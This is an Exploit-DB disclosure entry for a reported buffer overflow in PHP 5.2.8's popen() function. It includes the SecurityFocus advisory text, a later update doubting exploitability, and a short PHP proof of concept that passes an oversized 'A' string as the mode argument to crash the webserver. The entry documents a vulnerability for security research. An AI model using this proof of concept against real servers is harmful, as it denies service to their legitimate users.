PHP <= 5.2.8 - 'popen' Function Buffer Overflow Vulnerability

2009-01-12T00:00:00
ID EDB-ID:32715
Type exploitdb
Reporter e.wiZz!
Modified 2009-01-12T00:00:00

Description

PHP 5.2.8 'popen()' Function Buffer Overflow Vulnerability. Dos exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/33216/info

PHP is prone to a buffer-overflow vulnerability because it fails to perform boundary checks before copying user-supplied data to insufficiently sized memory buffers.

An attacker can exploit this issue to execute arbitrary machine code in the context of the affected webserver. Failed exploit attempts will likely crash the webserver, denying service to legitimate users.

PHP 5.2.8 and prior versions are vulnerable.

UPDATE (March 4, 2009): Further reports indicate that this issue may not be exploitable as described. We will update this BID pending further investigation. 

<?php
$____buff=str_repeat("A",9999);
$handle = popen('/whatever/', $____buff);
echo $handle;
?>